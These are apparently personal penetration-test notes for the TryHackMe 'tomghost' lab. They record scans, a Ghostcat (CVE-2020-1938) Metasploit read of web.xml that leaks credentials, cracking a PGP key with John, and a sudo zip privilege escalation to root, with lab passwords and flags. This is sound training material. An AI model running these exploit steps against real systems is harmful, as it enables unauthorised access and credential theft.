tomghost

Enumeration

TCP

```
┌──(kali㉿kali)-[/mnt/Cyber_Security_Training/TryHackMe/Rooms/tomghost]
└─$ sudo nmap -sV -sC -O -oA nmap/initial 10.10.120.164
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-27 16:32 EST
Nmap scan report for 10.10.120.164
Host is up (0.075s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
|   2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
|   256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_  256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http       Apache Tomcat 9.0.30
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.30
No exact OS matches for host (If you know what OS is running on it, see
https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/27%OT=22%CT=1%CU=40610%PV=Y%DS=4%DC=I%G=Y%TM=65DE
OS:5518%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=107%TI=Z%CI=I%II=I%TS=8)
OS:SEQ(SP=106%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8)SEQ(SP=108%GCD=1%ISR=10A%TI
OS:=Z%CI=I%II=I%TS=8)SEQ(SP=109%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8)OPS(O1=M5
OS:09ST11NW7%O2=M509ST11NW7%O3=M509NNT11NW7%O4=M509ST11NW7%O5=M509ST11NW7%O
OS:6=M509ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%D
OS:F=Y%T=40%W=6903%O=M509NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0
OS:%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=
OS:Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%
OS:RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%I
OS:PL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.19 seconds
```

UDP

Web Services

Nikto

Dirb\DirBuster

```
┌──(kali㉿kali)-[/mnt/Cyber_Security_Training/TryHackMe/Rooms/tomghost]
└─$ dirb http://10.10.120.164:8080 /usr/share/wordlists/dirb/common.txt

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Feb 27 16:40:30 2024
URL_BASE: http://10.10.120.164:8080/
WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt

-----------------


GENERATED WORDS: 4612

---- Scanning URL: http://10.10.120.164:8080/ ----
+ http://10.10.120.164:8080/docs (CODE:302|SIZE:0)
+ http://10.10.120.164:8080/examples (CODE:302|SIZE:0)
+ http://10.10.120.164:8080/favicon.ico (CODE:200|SIZE:21630)
+ http://10.10.120.164:8080/host-manager (CODE:302|SIZE:0)
+ http://10.10.120.164:8080/manager (CODE:302|SIZE:0)

-----------------
END_TIME: Tue Feb 27 16:46:25 2024
DOWNLOADED: 4612 - FOUND: 5
```

WebDav

CMS

Other Services

SMB

SNMP

DB

Other

Apache on port 8080 seems interesting. The version running seems old and has known vulnerabilities including cve 2020-1938
CVE2020-1938 - https://www.exploit-db.com/exploits/49039

Exploitation

Service Exploited:
Vulnerability Type:
Exploit POC:
Description:

Discovery of Vulnerability
Research of apache 9.0.30 shows known vulnerability cve 2020-1938

Exploit Code Used

```
msf6 auxiliary(admin/http/tomcat_ghostcat) > show options

Module options (auxiliary/admin/http/tomcat_ghostcat):

   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   AJP_PORT  8009              no        The Apache JServ Protocol (AJP) port
   FILENAME  /WEB-INF/web.xml  yes       File name
   RHOSTS    10.10.120.164     yes       The target host(s), see https://
docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT     8080              yes       The Apache Tomcat webserver port (TCP)
   SSL       false             yes       SSL


View the full module info with the info, or info -d command.

msf6 auxiliary(admin/http/tomcat_ghostcat) > run
[*] Running module against 10.10.120.164
Status Code: 200
Accept-Ranges: bytes
ETag: W/"1261-1583902632000"
Last-Modified: Wed, 11 Mar 2020 04:57:12 GMT
Content-Type: application/xml
Content-Length: 1261
<?xml version="1.0" encoding="UTF-8"?>
<!--
 Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                      http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>
     Welcome to GhostCat
    skyfuck:8730281lkjlkjdqlksalks
  </description>

</web-app>

[+] 10.10.120.164:8080 - /home/kali/.msf4/loot/
20240227170203_default_10.10.120.164_WEBINFweb.xml_404996.txt
[*] Auxiliary module execution completed
```

Proof\Local.txt File

```
skyfuck@ubuntu:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 02:10:d3:f9:e5:99
          inet addr:10.10.120.164  Bcast:10.10.255.255  Mask:255.255.0.0
          inet6 addr: fe80::10:d3ff:fef9:e599/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
          RX packets:6894 errors:0 dropped:0 overruns:0 frame:0
          TX packets:7548 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:974203 (974.2 KB)  TX bytes:4909428 (4.9 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

skyfuck@ubuntu:~$ whoami
skyfuck
```

☐ Screenshot with ifconfig\ipconfig
☐ Submit too OSCP Exam Panel

Post Exploitation

Two files in home directory:

credential.pgp
tryhackme.asc

I was able to crack tryhackme.asc

```
┌──(kali㉿kali)-[/mnt/Cyber_Security_Training/TryHackMe/Rooms/tomghost]
└─$ john tryhackmeformated --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512
11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192
9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all
loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexandru        (tryhackme)
1g 0:00:00:00 DONE (2024-02-28 10:44) 16.66g/s 17866p/s 17866c/s 17866C/s
theresa..alexandru
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

using the tryhackme:alexandru creds I could decrypt the credential.pgp file.
The file contained the following:
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

Logging in as merlin found the user flag in /home/merlin

merlin has sudo rights for /usr/bin/zip

```
merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/
bin\:/snap/bin

User merlin may run the following commands on ubuntu:
    (root : root) NOPASSWD: /usr/bin/zip
```

Script Results

Ran linpeas on target.
Results are in /mnt/Cyber_Security_Training/TryHackMe/Rooms/tomghost/linpeas.out
less -r linpeas.out to view

Host Information

Operating System

Architecture

Domain

Installed Updates

File System

Writeable Files\Directories

Directory List

Running Processes

Process List

Installed Applications

Installed Applications

Users & Groups

Users

Groups

Network

IPConfig\IFConfig

Network Processes

ARP

DNS

Route

Scheduled Jobs

Scheduled Tasks

Priv Escalation

Service Exploited:
Vulnerability Type:
Exploit POC:
Description:

Discovery of Vulnerability
User merlin has sudo permissions for /usr/bin/zip

```
merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/
bin\:/snap/bin

User merlin may run the following commands on ubuntu:
    (root : root) NOPASSWD: /usr/bin/zip
```

Exploit Code Used

```
merlin@ubuntu:~$ TF=$(mktemp -u)
merlin@ubuntu:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 31%)
# whoami
root
#
```

root flag found in /root

Proof\Local.txt File

- ☐ Screenshot with ifconfig\ipconfig
- ☐ Submit too OSCP Exam Panel

Goodies

Hashes

Passwords

skyfuck - 8730281lkjlkjdqlksalks
merlin - asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

Proof\Flags\Other

user flag for merlin:
THM{GhostCat_1s_so_cr4sy}

root flag:
THM{Z1P_1S_FAKE}

Software Versions

Software Versions

Potential Exploits

Methodology

Network Scanning

- ☐ nmap -sn 10.11.1.*
- ☐ nmap -sL 10.11.1.*
- ☐ nbtscan -r 10.11.1.0/24
- ☐ smbtree

Individual Host Scanning

- ☐ nmap --top-ports 20 --open -iL iplist.txt
- ☐ nmap -sS -A -sV -O -p- ipaddress
- ☐ nmap -sU ipaddress

Service Scanning

WebApp

- ☐ Nikto
- ☐ dirb
- ☐ dirbuster
- ☐ wpscan
- ☐ dotdotpwn
- ☐ view source
- ☐ davtest\cadevar
- ☐ droopscan
- ☐ joomscan
- ☐ LFI\RFI Test

Linux\Windows

- ☐ snmpwalk -c public -v1 *ipaddress* 1
- ☐ smbclient -L //ipaddress
- ☐ showmount -e ipaddress port
- ☐ rpcinfo
- ☐ Enum4Linux

Anything Else

- ☐ nmap scripts (locate *nse* | grep servicename)
- ☐ hydra
- ☐ MSF Aux Modules
- ☐ Download the softward

Exploitation

- ☐ Gather Version Numbes
- ☐ Searchsploit
- ☐ Default Creds
- ☐ Creds Previously Gathered
- ☐ Download the software

Post Exploitation

Linux

- ☐ linux-local-enum.sh
- ☐ linuxprivchecker.py
- ☐ linux-exploit-suggestor.sh
- ☐ unix-privesc-check.py

Windows

- ☐ wpc.exe
- ☐ windows-exploit-suggestor.py
- ☐ windows_privesc_check.py
- ☐ windows-privesc-check2.exe

Priv Escalation

- ☐ acesss internal services (portfwd)
- ☐ add account

Windows

- ☐ List of exploits

Linux

- ☐ sudo su
- ☐ KernelDB
- ☐ Searchsploit

Final

- ☐ Screenshot of IPConfig\WhoamI
- ☐ Copy proof.txt
- ☐ Dump hashes
- ☐ Dump SSH Keys
- ☐ Delete files

Log Book